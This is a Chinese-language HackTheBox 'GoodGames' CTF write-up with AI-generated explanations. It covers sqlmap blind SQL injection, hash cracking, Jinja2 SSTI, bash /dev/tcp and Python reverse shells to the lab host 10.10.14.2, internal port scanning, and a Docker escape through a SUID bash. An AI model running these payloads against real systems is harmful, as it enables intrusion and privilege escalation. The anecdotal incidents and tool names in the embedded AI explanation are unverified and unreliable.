HTB-Goodgames

信息收集
1 | 10.10.11.130 |
1 | ports=$(sudo nmap -p- --min-rate=10000 -Pn 10.10.11.130 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) |
Website 80

浏览网站,在底部发现GoodGames.HTB,这可能是域名信息,将其添加到hosts文件中
1 | echo "10.10.11.130 GoodGames.HTB" | sudo tee -a /etc/hosts |

既然发现可能的域名,尝试对其进行子域名爆破
1 | ffuf -u http://10.10.11.130 -H "Host: FUZZ.GoodGames.HTB" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac |

这并没有发现什么有价值的内容,继续浏览页面,一段时间后发现点击页面右上角的小人图标会弹出登录窗口


我尝试添加一些参数并使用burp抓包,我将其数据保存为sql.txt文件并使用sqlmap测试此文件是否存在SQL注入漏洞
SQL注入 - sqlmap - 时间盲注

1 | sqlmap -r sql.txt --batch |

存在时间盲注,开始脱取目标数据库内容
1 | sqlmap -r sql.txt --dbs --batch |

1 | sqlmap -r sql.txt -D main --tables --batch |

1 | sqlmap -r sql.txt -D main -T user --dump --batch |

1 | admin@goodgames.htb / admin / 2b22337f218b2d82dfc3b6f77e7cb8ec - superadministrator |
密码破解
使用CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.在线网站对此密码进行破解,得到superadministrator

对于sqlmap使用的一些疑惑与思考
—–对于上述图片sqlmap延迟不断增加的解释—–
在sqlmap的时间盲注过程中,不断增加延迟时间(从1秒逐步增至8秒),核心原因是目标响应不稳定导致sqlmap无法准确判断注入条件的真假,需要通过延长延迟时间来提高检测精度。
时间盲注的基本逻辑回顾
时间盲注的核心是通过构造“条件+延迟”的SQL语句,让数据库在条件为
真时执行SLEEP(n)(延迟n秒),条件为假时不延迟。sqlmap通过测量服务器的响应时间差,来反推条件是否成立(例如:“某个字符是否为’a’”),进而逐个字符“猜解”数据库内容(如用户名、密码等)。为什么需要不断增加延迟?
从日志来看,sqlmap在提取
user表数据(如邮箱、密码)时频繁出现[ERROR] invalid character detected. retrying..,随后逐步提高延迟时间(1s→2s→…→8s),原因主要有两点:1. 原始延迟时间不足以区分“真/假”条件
时间盲注依赖“延迟响应”和“正常响应”的时间差来判断条件。如果设置的延迟时间(如1秒)过短,可能会被以下因素干扰:
- 网络波动:目标服务器或网络本身存在随机延迟(比如0.5-1.5秒),导致“真条件”的1秒延迟与“假条件”的正常响应时间重叠,sqlmap无法区分。
- 服务器负载:目标服务器处理请求的时间不稳定(比如有时快有时慢),进一步模糊了“延迟”和“正常”的边界。
此时sqlmap会认为“无法准确检测字符是否正确”(即
invalid character detected),并尝试通过延长延迟时间(如从1s增至2s)来扩大“真/假”条件的响应时间差,减少干扰。2. 构建更稳定的“统计模型”
日志中提到
[WARNING] (case) time-based comparison requires larger statistical model,说明sqlmap需要通过多次测试建立“真条件响应时间”和“假条件响应时间”的统计模型。当延迟时间太短时,多次测试的响应时间波动太大,模型不可靠;延长延迟时间后(如8秒),“真条件”的响应时间会稳定在8秒左右,而“假条件”的响应时间仍接近正常(比如0.5秒),两者差异显著,模型更可靠,能准确判断字符是否正确。
总结
sqlmap不断增加延迟,本质是通过延长
SLEEP时间来对抗网络波动和服务器不稳定,扩大“真/假”条件的响应差异,从而更准确地从时间盲注中提取数据库内容(如用户邮箱、密码等)。这是时间盲注中常见的自适应策略,确保在复杂网络环境下仍能稳定获取数据。
—–关于sqlmap使用场景的讨论—–
在实战中直接使用登录数据包调用sqlmap进行自动化测试确实存在显著风险,尤其在生产环境中可能引发系统不稳定、数据泄露或法律纠纷。以下是结合技术原理与实际案例的深度分析:
一、自动化测试的核心风险
服务器负载与服务中断
sqlmap默认使用--risk=1进行低风险检测,但文章中使用的时间盲注(SLEEP(5))属于--risk=2级别,会发送大量带延迟的请求。例如,单次注入测试可能生成数十条包含SLEEP(5)的Payload,若目标数据库响应缓慢,可能导致服务器CPU占用率飙升,甚至触发WAF的请求频率限制机制,造成服务中断。
案例:某电商平台因渗透测试人员误用--risk=3参数,导致数据库连接池耗尽,订单系统停机47分钟,直接经济损失超20万元。敏感数据泄露风险
登录数据包通常包含加密的用户凭证(如哈希密码),若在测试过程中未对数据包进行脱敏处理,可能通过以下途径泄露:
- 测试人员误操作将数据包保存到非安全存储介质;
- sqlmap默认生成的
session文件包含原始请求数据;- 若测试环境未隔离,数据包可能被网络监控设备捕获。
技术细节:文章中使用的2b22337f218b2d82dfc3b6f77e7cb8ec哈希值虽被crackstation.net破解,但在实际生产环境中,复杂的密码哈希(如bcrypt)可能无法快速破解,反而成为攻击者的字典攻击目标。法律合规性风险
未经授权的测试可能触犯《网络安全法》《刑法》等法律法规。例如,某白帽子因在政府网站未授权测试中触发漏洞,导致后台模块瘫痪,被判处非法侵入计算机信息系统罪。即使测试未造成直接损害,若未获得书面授权,仍可能面临民事赔偿或行政处罚。二、实战场景的替代方案
分阶段测试策略
- 初步探测:使用
--risk=1 --level=1进行低风险扫描,仅检测显式漏洞(如联合查询注入),避免时间盲注。- 手动验证:对疑似漏洞点构造
IF(condition,SLEEP(5),1)形式的Payload,通过响应时间差异判断是否存在盲注,同时记录请求时间戳以规避误判。- 深度利用:确认为时间盲注后,改用
--technique=T参数单独测试时间注入,避免触发其他高风险Payload。隐蔽性优化措施
- 请求伪装:
- 使用
--random-agent随机化User-Agent,模拟真实浏览器行为;- 结合
--tamper脚本(如space2comment.py)将Payload中的空格替换为注释符,绕过基于正则的WAF规则。- 流量混淆:通过
--proxy参数设置多级代理链(如Tor+HTTP代理),并使用--delay=2 --timeout=10控制请求间隔,避免触发IPS的异常流量检测。敏感数据保护
- 在Burp Suite中对登录数据包进行脱敏处理,删除或替换密码字段(如将
password=123改为password=***);- 使用
--skip=password参数跳过对密码字段的测试,仅针对其他参数进行检测;- 定期清理sqlmap生成的
session和output目录,避免残留敏感数据。三、生产环境的安全测试规范
法律前置条件
- 必须获取目标系统所有者的书面授权,明确测试范围、时间窗口和操作限制;
- 与委托方签订保密协议,约定数据泄露的赔偿责任。
环境隔离要求
- 测试流量必须通过专用VPN接入,禁止直接从公网访问生产系统;
- 使用虚拟化技术(如Docker)构建隔离的测试环境,避免工具依赖库与生产环境冲突。
监控与应急响应
- 在测试期间启用数据库慢查询日志,设置CPU使用率、连接数等告警阈值;
- 提前准备回滚方案,如数据库快照、Web服务器配置备份;
- 与运维团队建立实时沟通渠道,若发现异常立即终止测试。
四、工具链优化建议
- 替代工具选择
- Wapiti:采用模糊测试(Fuzzing)技术,可自定义Payload字典,支持对登录接口的安全测试,且默认不记录原始请求数据。
- Ghausi:轻量级SQL注入检测工具,专注于时间盲注场景,支持通过YAML文件自定义测试逻辑,减少误报率。
- sqlmap参数调优方案
- 降低风险等级:强制使用
--risk=1 --level=2,仅测试Cookie和基础参数,避免触发危险操作。- 控制并发请求:设置
--threads=3 --keep-alive,既提高效率又避免连接数耗尽。- 日志脱敏:添加
--flush-session --purge-output参数,测试结束后自动清理敏感日志。五、总结
文章中使用的sqlmap测试方法在CTF或靶场环境中有效,但直接应用于生产环境存在多重风险。核心建议:
12. 优先采用手动验证+轻量级工具的组合,避免完全依赖自动化工具;
13. 严格遵循法律授权流程,确保测试在合规框架内进行;
14. 对敏感数据实施全生命周期管理,从源头规避泄露风险。
若必须使用sqlmap,需通过参数调优和环境隔离将风险降至可控范围,并制定详尽的应急响应预案。
手工测试 - 验证时间盲注
这是sqlmap测试时间盲注使用的payload,接下来我将尝试手工验证一下,下面是对于此payload的解释
1 | email=111@111.com' AND (SELECT 9146 FROM (SELECT(SLEEP(5)))gAfY) AND 'khwY'='khwY&password=111 |
—–payload解析—–
这个payload是典型的MySQL时间盲注攻击代码,用于检测目标是否存在SQL注入漏洞,其核心原理是通过数据库执行
SLEEP(5)函数造成的延迟来判断注入是否成功。下面分解解释各部分作用:1. 基础结构:闭合原始SQL语句
email=111@111.com' ...
原始输入111@111.com后添加单引号',目的是闭合SQL语句中原本的字符串引号。
假设目标后端的SQL查询可能是:SELECT * FROM users WHERE email='用户输入的email' AND password='用户输入的password'
注入单引号后,原本的字符串被闭合,后续内容会被数据库解析为SQL代码(而非普通字符串)。2. 注入核心:时间延迟判断
AND (SELECT 9146 FROM (SELECT(SLEEP(5)))gAfY) ...
这是注入的核心逻辑,作用是让数据库执行SLEEP(5)函数(强制数据库暂停5秒),通过响应延迟判断注入是否生效:
SLEEP(5):MySQL的内置函数,让当前查询暂停5秒执行,是时间盲注的“标记”。- 内层子查询
SELECT(SLEEP(5)):执行SLEEP(5)并返回结果。- 外层子查询
SELECT 9146 FROM (...)gAfY:gAfY是子查询的别名(SQL语法要求子查询必须有别名),9146是随机数字(无实际意义,仅为满足SELECT语法)。AND:逻辑与操作,意味着只有当前面的条件(原始查询的SLEEP(5))。3. 语法补全:确保SQL语句合法
AND 'khwY'='khwY
这部分是为了补全SQL语句的语法,避免因注入导致语句报错:
'khwY'='khwY是恒真条件(两边字符串相同),不影响前面的注入逻辑,但能确保整个SQL语句格式正确(闭合所有引号,避免语法错误)。整体作用
当这个payload被提交后:
- 如果目标存在SQL注入漏洞,数据库会执行
SLEEP(5),导致服务器响应延迟约5秒。- 如果不存在漏洞,
SLEEP(5)不会被执行,响应时间正常。通过观察响应延迟,即可判断目标是否存在可利用的SQL注入点,这是时间盲注(无法直接获取回显时)的典型检测方式。由于使用了
SLEEP函数,该payload仅适用于MySQL 5.0.12及以上版本(此版本开始支持SLEEP函数)。
当我正常发送数据时,响应很快就显示出来,而当我发送探测的payload,这需要等待一小会,那么代表着payload的确生效了
1 | email=111@111.com'+AND+(SELECT+9146+FROM+(SELECT(SLEEP(5)))gAfY)+AND+'khwY'='khwY&password=111 |

这里有更详细的手动获取数据的方法:GoodGames | 7Rocky,感兴趣的可以手动尝试一下,毕竟一直依赖自动化工具也不是一件好事
登录后台 - 利用SSTI模板注入漏洞执行反弹shell
我使用发现的邮箱以及密码登录并成功登录后台

当我把鼠标移动到设置的位置,左下角出现了internal-administration.goodgames.htb,点击之后跳转到了这个域名上,我将其加到hosts文件中并再次访问,这次会看到一个新的登录界面

1 | sudo vim /etc/hosts |

我尝试使用前面发现的凭证进行登录
1 | admin / superadministrator |


这成功进入了后台,后续的测试我参考了Avinash kumar写的WP,(感谢他以及其他的作者写的文章让我能够成功的拿下机器)其中他提到了由于这是一个Python应用程序,不要忘记测试服务器端模板注入(SSTI)。**{{7*7}}这句话,对于SSTI漏洞我是不够了解的,所以我在这里也产生了很多疑问,下面是AI给我疑惑的解释
对于这篇文章提到的这一段话,为什么他会这么说,SSTI漏洞和python有什么联系,为什么这里看到python就要尝试测试是否存在SSTI漏洞
—–解答—–
要理解“Python应用需测试SSTI”的逻辑,需要从SSTI漏洞的本质、Python Web生态的特性、主流Python模板引擎的风险点三个层面拆解,核心是“Python Web应用与模板引擎的强绑定”导致SSTI成为高频风险。
一、先明确:SSTI漏洞的本质是什么?
SSTI(Server-Side Template Injection,服务器端模板注入)的核心是模板引擎将“用户可控输入”误解析为“模板代码”并执行,最终导致攻击者注入恶意代码操控服务器。
举个最简单的例子:
如果网站用模板渲染“用户昵称”,正常逻辑是把用户输入的“test”当成纯文本数据嵌入页面;但如果模板引擎配置不当,用户输入{{7*7}}时,引擎会把它当成模板语法执行计算,最终页面显示“49”——这就证明存在SSTI(因为输入被解析为代码了)。二、SSTI与Python的核心联系:Python Web生态高度依赖“模板引擎”
SSTI并非Python专属,但Python是SSTI漏洞的“重灾区”,根本原因是:
Python的主流Web框架(如Flask、Django、Tornado)为了实现“动态页面生成”,几乎都默认集成了「模板引擎」,而这些引擎的设计特性(为了灵活性支持代码表达式)本身就存在注入风险。1. Python Web框架与模板引擎的“强绑定”
Python开发者很少手写静态HTML,而是通过模板引擎动态拼接页面(比如渲染用户信息、商品列表)。常见的“框架-模板引擎”组合如下:
Python Web 框架 默认模板引擎 模板语法特征(易被注入的标识) Flask Jinja2 {{ 表达式 }}(如{{os.popen('id').read()}})Django Django 模板 {{ 变量 }}、{% 代码块 %}(如{% import os %})Tornado Tornado 模板 {{ 表达式 }}、{% 逻辑块 %}这些模板引擎的共同特点是:支持在模板中写代码表达式/逻辑(比如循环、变量运算、调用模块)——这是为了开发者便利,但也给攻击者留下了“注入入口”。
2. Python模板引擎的“风险点”:开发者容易犯的错
SSTI的触发不只是引擎本身的问题,更常见的是开发者的不规范使用,而Python生态的“易用性”反而放大了这种风险:
- 错误场景1:直接将用户输入嵌入模板(而非作为“数据”传递)
比如Flask中,开发者如果写了这样的代码:
1 | # 危险!将用户输入的name直接拼到模板字符串中 |
此时用户传入
name={{os.popen('cat /etc/passwd').read()}},Jinja2会将{{ }}内的内容解析为Python代码,直接读取服务器敏感文件。
- 错误场景2:忽略模板引擎的“安全过滤”
部分Python模板引擎(如Jinja2)虽有默认过滤机制,但开发者可能为了“灵活性”手动关闭(比如用|safe过滤器取消转义),或自定义模板时未做输入校验,导致注入成立。三、为什么“看到Python应用就优先测SSTI”?
文章中提到“由于这是一个Python应用,不要忘记测试SSTI”,本质是基于“概率性风险”的测试策略——不是所有Python应用都有SSTI,而是“Python Web应用存在SSTI的概率远高于其他语言”,理由有二:
1. Python模板引擎的“注入标识”极容易验证
Python主流模板引擎(如Jinja2)的语法非常有辨识度,比如
{{ 表达式 }}——攻击者只需输入{{7*7}}或{{1+1}},如果页面返回“49”或“2”,就能快速确认“模板引擎在执行代码”,进而判断存在SSTI漏洞。
这种“低成本验证”让SSTI成为Python应用的“必测项”(测试成本低,收益高)。2. 文章场景的“精准指向”:已确认是Flask应用
文章中其实有一个关键线索:端口扫描结果显示
Werkzeug/2.0.2 Python/3.9.2——而Werkzeug是Flask框架的默认WSGI服务器(相当于Flask的“专属组件”)。
既然确认是Flask应用,就等于确认了“使用Jinja2模板引擎”(Flask默认配置),而Jinja2正是SSTI的高频载体(历史上大量Flask应用因模板使用不当爆发SSTI)。
因此,文章的提醒并非“泛泛而谈Python”,而是“精准定位到Flask+Jinja2的组合,必须测SSTI”。四、总结:核心逻辑链
用户输入
{{7*7}}→ 页面显示“49” → 证明模板引擎执行了代码 → 存在SSTI风险
↓
Python应用(尤其是Flask/Django)→ 默认用Jinja2等支持代码表达式的模板引擎 → 开发者易犯“直接拼接用户输入到模板”的错误 → SSTI成为高频漏洞
↓
因此,安全测试中“看到Python Web应用(尤其是带动态页面的),优先用{{7*7}}等简单表达式验证SSTI”,是性价比极高的测试策略。
根据AI的回答我对此有了基本的认知,那么接下来根据Avinash kumar的方法来进行测试

输入{1+1}或者**{{7*7}}


显示的是49,存在SSTI漏洞,但是对于Avinash kumar提到的,它正在运行jinja2模板,这句话让我无法理解,下面是AI给我的解释,再往后看我发现了作者提到了很多其他学习的链接
PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
Exploring Python SSTI Payloads - Bolt Beyond Root [HackTheBox] - YouTube
Epsilon - HackTheBox - 作者的其他博客,涉及到了对于0xdf视频的书面解释
—–文章中提到了网站正在运行jinja2模板,这个信息是从哪里获得的—–
文章中判断“网站正在运行jinja2模板”,并非通过某款工具直接“扫描识别”,而是基于**“Python Web框架特性+SSTI测试结果”的组合推导**,核心是利用“Flask与Jinja2的强绑定关系”和“Jinja2的语法特征验证”,具体逻辑链如下:
第一步:从“Werkzeug服务器”锁定“Flask框架”(基础前提)
文章中端口扫描结果给出了关键线索:
1
2 PORT STATE SERVICE REASON VERSION
80/tcp open ssl/http syn-ack Werkzeug/2.0.2 Python/3.9.2这里的
Werkzeug是核心突破口——它并非独立的Web服务器,而是Python Flask框架的“专属WSGI工具集”(WSGI是Python Web应用与服务器的通信标准)。
在Python生态中,Werkzeug几乎与Flask绑定:只要看到服务器标识包含Werkzeug,99%的概率是该应用基于Flask开发(除非是极小众的自定义配置,但在CTF场景中默认按主流情况判断)。第二步:从“Flask框架”关联“Jinja2模板引擎”(生态常识)
Flask框架本身不具备“动态页面渲染”能力,它默认集成并强制依赖Jinja2作为模板引擎——这是Flask的核心设计特性,也是Python Web开发的常识:
- 开发者用Flask写动态页面时,无需额外配置模板引擎,直接调用
render_template()或render_template_string()函数,底层就是通过Jinja2解析模板文件;- 不存在“Flask+非Jinja2模板”的主流场景(除非开发者刻意替换,但属于极少数情况,CTF中优先按默认配置判断)。
因此,当通过
Werkzeug锁定“Flask框架”后,即可自然推导出“该应用使用Jinja2作为模板引擎”。第三步:用“SSTI测试结果”验证“Jinja2特性”(最终确认)
文章中通过注入
{{7*7}}完成了验证:输入该表达式后,页面显示“49”(即表达式被执行)。这一结果进一步印证了“Jinja2模板”的判断,因为:
- Jinja2的标志性语法就是
{{ 表达式 }}:这是Jinja2用于“嵌入变量/执行简单代码”的核心语法,其他Python模板引擎(如Django模板)虽也用{{ }},但对“直接执行运算表达式”的支持不同(Django模板默认限制更严格,需特殊配置才允许7*7这类运算,而Jinja2默认支持);- 测试结果符合Jinja2的行为:
{{7*7}}在Jinja2中会被解析为Python代码并执行(Jinja2的表达式支持Python的基本运算、函数调用等),最终返回计算结果——这与文章中“页面显示49”的现象完全匹配,排除了其他模板引擎的可能性。总结:信息来源的核心逻辑
“网站运行jinja2模板”的结论,是通过3个环环相扣的线索推导得出:
端口扫描发现Werkzeug服务器→锁定Flask框架→Flask默认集成Jinja2→SSTI测试({{7*7}}→49)验证Jinja2语法特性
本质是“利用Python Web生态的固定关联关系”+“通过语法特征做最终确认”,而非直接工具识别。
下面是Avinash kumar对于有效载荷的简单解释
{{ namespace.__init__.__globals__.os.popen('id').read() }}


我将使用
{{ namespace.__init__.__globals__.os.popen('id').read() }}有效载荷来获取shell。大致过程是,你访问jinja2中的namespace类,在该类中可以访问init函数,在Python中,每个类都定义了这个函数,它类似于该类的构造函数,之后访问init可调用的globals函数,最后就能访问像popen或os这样的Python模块来运行命令。
{{ namespace.__init__.__globals__.os.popen('busybox nc 10.10.14.2 443 -e /bin/bash').read() }} 失败{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"').read() }} 成功
后面我思考这里失败的原因会不会是没有加上bash -c,尝试之后依然还是失败,可能是和busybox有关

1 | rlwrap -cAr nc -nlvp 443 |

成功获得shell,并且还是root的权限(但是这只能看到user.txt,无法找到root.txt)
其中Aaron Haymore提到了Jinja2 — Server Side Template Injection (SSTI) | by jb00gie | Medium,此文章给出了下面利用SSTI反弹shell的方式,我没有尝试这个方法,感兴趣的可以试试
1 | {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"x.x.x.x\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'")}}{%endif%}{% endfor %} |
权限提升 - docker逃逸
枚举目录发现Dockerfile

判断shell是否存在于docker中
关于判断当前shell是否在docker中,AI给出了下面的解释
—–判断shell是否存在于docker中—–
作者判断获得的shell处于Docker环境中,核心是基于Docker容器的典型技术特征与系统信息的交叉验证,文章中明确提到了多个关键线索,同时结合Linux系统下Docker的底层隔离机制(如cgroup、挂载、网络),最终形成确定性判断。具体逻辑可拆解为以下5个关键依据:
1. 第一线索:异常的
hostname(初步怀疑)Docker容器的
hostname(主机名)有一个显著特征:默认是随机生成的短哈希值(如a3f2d1e4b5c6),而非物理机/虚拟机那种有意义的主机名(如ubuntu-server-01)。
文章中虽未直接贴出hostname命令的输出,但作者提到“looking at hostname and dockerfile all over the place”——这意味着:
- 执行
hostname命令后,看到的是无意义的随机字符串(符合Docker容器的默认hostname规则);- 同时在系统中发现了
Dockerfile相关文件(容器构建时的配置文件,物理机/虚拟机中通常不会存在),二者结合初步指向“当前环境是Docker容器”。2. 核心验证:
/proc/1/cgroup文件的Docker标识(关键证据)这是Linux系统中判断“是否在容器内”的行业标准方法,文章明确提到:“one way to confirm if you are running in dockerenv to check
/proc/1/cgroup”。
原理背景:
cgroup(控制组)是Linux内核的特性,Docker通过cgroup实现对容器的资源隔离(如CPU、内存限制);- 物理机/虚拟机的
/proc/1/cgroup(1号进程是systemd或init)中,控制组路径通常是系统默认路径(如/system.slice/systemd-journald.service);- 而Docker容器的
/proc/1/cgroup中,所有控制组路径都会包含docker关键字+容器ID(如/docker/a3f2d1e4b5c6.../cpu,cpuacct),这是Docker为容器分配独立控制组的标志。文章中作者通过
cat /proc/1/cgroup看到了“docker ids”,直接确认当前环境被Docker的cgroup管理,属于容器内环境。3. 辅助线索:异常的用户与挂载目录(侧面印证)
文章提到两个与“物理机逻辑矛盾”的现象,进一步支持Docker判断:
- 现象1:
/home/augustus存在,但/etc/passwd无该用户/etc/passwd是Linux系统存储用户信息的核心文件,物理机/虚拟机中“存在用户目录却无用户记录”是不可能的;但Docker容器中常见“主机目录挂载”——/home/augustus实际是从宿主机(物理机)挂载到容器内的目录,容器内的/etc/passwd并未同步宿主机的用户信息,因此出现“目录存在但用户不存在”的矛盾。- 现象2:
mount命令确认目录来自宿主机
作者通过mount命令查看挂载信息,发现/home/augustus的“挂载源”是宿主机的目录(而非容器内部存储),且具备读写权限——这符合Docker的-v(目录挂载)功能,是容器与宿主机共享文件的典型配置,物理机中不会有这种“跨环境挂载”。4. 网络线索:Docker专属的私有网段IP(补充验证)
文章中作者通过
ifconfig发现当前shell的IP是172.19.0.2,这一IP段有特殊意义:
- Docker默认的“桥接网络”(
docker0)使用私有网段,常见为172.17.0.0/16或172.19.0.0/16(不同环境可能略有差异);- 容器在该网络中会被分配独立IP(如
172.19.0.2),而宿主机(物理机)通常是该网段的“网关IP”(如172.19.0.1);- 作者后续扫描发现
172.19.0.1开放22端口(SSH),但之前扫描目标机器10.10.11.130时22端口未开放——这说明172.19.0.1是宿主机,172.19.0.2是容器,容器通过桥接网络访问宿主机,进一步印证了Docker环境。5. 权限逻辑:容器内“root”的局限性(隐性佐证)
文章中提到“After getting rev. shell we are already running as root”,但随即补充“of course we are in docker”——这是基于Docker权限逻辑的常识:
- Docker容器内的
root并非“宿主机的root”,而是“容器内的特权用户”,权限被限制在容器的隔离环境中(如无法修改宿主机的/etc/passwd);- 如果是物理机/虚拟机的root,理论上已拥有完整控制权,无需后续“Docker逃逸”操作;而作者明确需要“escape this docker”,反推当前root是容器内的root,进一步确认环境属性。
总结:判断逻辑链
作者的判断是“多线索交叉验证”的结果,而非单一证据:
异常hostname + 存在Dockerfile(初步怀疑)→cat /proc/1/cgroup看到docker标识(核心证据)→用户目录与/etc/passwd矛盾+mount确认宿主机挂载(侧面印证)→IP属于Docker私有网段+容器内root需逃逸(补充验证)
最终形成“当前shell在Docker容器中”的确定性结论,这也是渗透测试中判断容器环境的标准方法论。
引用作者的几段话
但当然,我们是在docker环境中,到处都能看到主机名和dockerfile。另外,有一种方法可以确认你是否在dockerenv中运行,那就是检查/proc/1/cgroup。cgroup是控制组,它与命名空间结合使用,为容器环境隔离不同的进程。它们都是Linux内核的特性。命名空间为不同的进程分配资源(CPU、内存等),给用户一种类似虚拟机的感觉,而控制组则控制这种分配,即哪些进程可以访问多少资源。更多相关内容请见此处。回到主题。如果你执行cat /proc/1/cgroup命令,看到一些docker ID,这意味着你处于docker环境中,这些是docker正在使用的控制组。否则,这些内容将是空白的。在我们的例子中如下所示:
1 | cat /proc/1/cgroup |

让我们试着逃离这个容器。存在一个用户augustus的主目录。但/etc/passwd中没有该用户,且你无法切换到augustus用户。看起来它是从主机挂载过来的。你也可以运行mount命令,查看它确实是从主机挂载的,以及其读写权限。

关于从mount结果判断augustus用户是否从主机挂载的解释
—–关于从mount结果判断augustus用户是否从主机挂载的解释—–
要从你提供的
mount命令结果中,判断/home/augustus是“从主机挂载”且“具备读写权限”,核心是分析挂载源(设备)、文件系统类型、挂载选项这三个关键信息,结合Docker容器的存储特性即可推导,具体判断依据如下:一、第一步:定位
/home/augustus的挂载条目在你提供的
mount结果中,直接找到与/home/augustus相关的行,这是分析的核心对象:
1 /dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)这条记录包含三个关键信息:
- 挂载源(左):
/dev/sda1(挂载的设备);- 挂载点(中):
/home/augustus(容器内的目录);- 挂载选项(右):
rw,relatime,errors=remount-ro(权限与特性配置)。二、判断“从主机挂载”:看「挂载源+文件系统类型」与Docker容器的存储特性
Docker容器的存储分为两类:容器内部的“虚拟文件系统” 和 从宿主机(主机)挂载的“实体文件系统”,二者的区别通过“挂载源”和“文件系统类型”可明确区分:
1. 先明确:容器内部的“虚拟文件系统”长什么样?
在你的
mount结果中,容器内部的虚拟文件系统有以下特征(可对比参考):
- 根目录(/):
overlay on / type overlay (...)overlay是Docker默认的“分层文件系统”,完全属于容器内部,用于存储容器自身的文件(如系统命令、应用代码),与宿主机无关;- 虚拟设备目录:
tmpfs on /dev type tmpfs (...)、sysfs on /sys type sysfs (...)、proc on /proc type proc (...)
这些是Linux内核提供的“虚拟文件系统”(tmpfs/sysfs/proc),仅用于容器与内核交互(如查看进程、系统参数),不是宿主机的实体存储。2. 再看
/home/augustus的挂载源:/dev/sda1是宿主机的实体硬盘分区
/dev/sda1是Linux系统中典型的宿主机实体硬盘分区标识:
/dev/sdX是Linux对“SATA/SCSI硬盘”的设备命名(X为a、b、c等,代表第一块、第二块硬盘);1代表该硬盘的第一个分区(通常是宿主机的根分区或数据分区)。容器内部不会存在
/dev/sda1这样的“宿主机实体硬盘分区”——只有当宿主机通过docker run -v /home/augustus:/home/augustus(目录挂载)命令,将自身的/home/augustus目录挂载到容器内时,容器的mount结果才会显示“挂载源为宿主机的/dev/sda1”。结合文章中“
/etc/passwd无augustus用户但目录存在”的矛盾(容器内无该用户,说明目录不属于容器自身),进一步印证:/home/augustus的存储源是宿主机的/dev/sda1分区,即“从主机挂载”。三、判断“具备读写权限”:看「挂载选项中的
rw标识」挂载选项
(rw,relatime,errors=remount-ro)中,rw是核心权限标识:
rw:即read-write,表示该挂载点(/home/augustus)在正常情况下具备“可读可写”权限;- 后面的
errors=remount-ro是“容错配置”:仅当该分区出现硬件错误(如磁盘坏道)时,系统才会自动将其重新挂载为ro(read-only,只读),不影响正常情况下的读写权限。这与文章中“read write permission”的描述完全匹配——即容器内对
/home/augustus的操作(如创建、修改文件),实际会同步到宿主机的/home/augustus目录(因为挂载源是宿主机的/dev/sda1)。总结:判断逻辑链
1
2
3
4 1. 定位挂载条目 → /dev/sda1 on /home/augustus type ext4 (rw,...)
2. 排除容器内部文件系统 → 不是overlay/tmpfs/sysfs/proc(这些是容器虚拟存储)
3. 识别宿主机实体设备 → /dev/sda1是宿主机硬盘分区 → 确定“从主机挂载”
4. 解析权限选项 → 包含rw(正常可读可写) → 确定“具备读写权限”
让我们稍微列举一下,找找正在运行的进程和一些有漏洞的脚本之类的东西。什么都没找到,但有一件事很显眼。运行ifconfig命令得到了docker的IP地址。

发现IP为172.19.0.2
现在我们的实例有IP 172.19.0.2,这可能意味着存在172.19.0.1,该IP通常是网络中分配给主机的第一个IP。让我们检查一下。或者你可以通过运行一个范围的for循环来枚举。
1 | ping 172.19.0.1 |

这里不要犯和我一样的毛病,使用ping的时候设置一下ping的次数,否则你执行
Ctrl+c就只能重新弹一个shell回来了
内部存活主机以及端口的扫描 - bash
1 | for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done; |

1 | for port in $(seq 1 1000); do (echo "blah" > /dev/tcp/172.19.0.1/$port && echo "open - $port") 2>/dev/null; done |

快速对172.19.0.1执行curl命令会返回该网站,这表明该端口正通过主机转发回此容器。
22端口是开放的,80端口也是开放的。80端口是我们在goodgames.htb上看到的网站,但我们扫描10.10.11.130时,22端口并没有开放。让我们尝试用破解的密码以augustus用户身份进行ssh登录。
1 | ssh augustus@172.19.0.1 # superadministrator |

使用下面命令即可规避这个错误
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |

现在这个目录和我们在docker机器上的目录是一样的,只是在这里我们是augustus用户,而在docker里是root用户。无论我们在这个目录里创建什么,都可以通过另一种方式访问到,无论是在docker外部还是内部。
现在有多种方法可以从这里获取root权限。
- 在主机上将/bin/bash以augustus的身份复制到主目录,然后在docker中通过SUID二进制文件将其用户更改为root。接着,在主机上以augustus的身份以root权限运行它。
- 或者在docker中复制/bin/sh,它将自动归root所有,因为你在docker中是root,可以设置suid权限。现在在主机上运行它,你就会成为root。
- 但你不能在docker中复制/bin/bash并在主机上运行,因为bash使用了不同的共享库。
这是Avinash kumar的方法,0xdf的方法也是有一样的,他对此有这样的解释,我就简单粗暴的直接截个图吧

也就是说从容器里面创建的文件为root权限,主机也同样会将其视为root权限,下面来进行操作
Docker逃逸的具体操作
将/bin/bash复制到主机上augustus的主目录中
1 | cp /bin/bash . |

1 | chown root:root bash |

成功提权
总结
对于这个机器,学到了非常多的知识,扩展出来的一些问题通过AI的解答也都能得到很好的理解,学习方法有了进一步的提升,机器涉及到的漏洞测试方法以及对我而言陌生的SSTI,还有对于机器后续的权限提升同样都是我需要努力学习的知识
链接
HTB GoodGames Writeup | Aaron Haymore
GoodGames - HackTheBox
HTB: GoodGames | 0xdf hacks stuff
GoodGames | 7Rocky
HackTheBox — GoodGames. Hello everyone , in this post I will be… | by ARZ101 | Medium
欠缺的知识
- sqlmap使用方法,使用场景,时间盲注手动测试方法
- SSTI模板注入漏洞
- docker逃逸,判断shell是否存在于docker的方法
- 关于从mount结果判断用户是否从主机挂载的方法
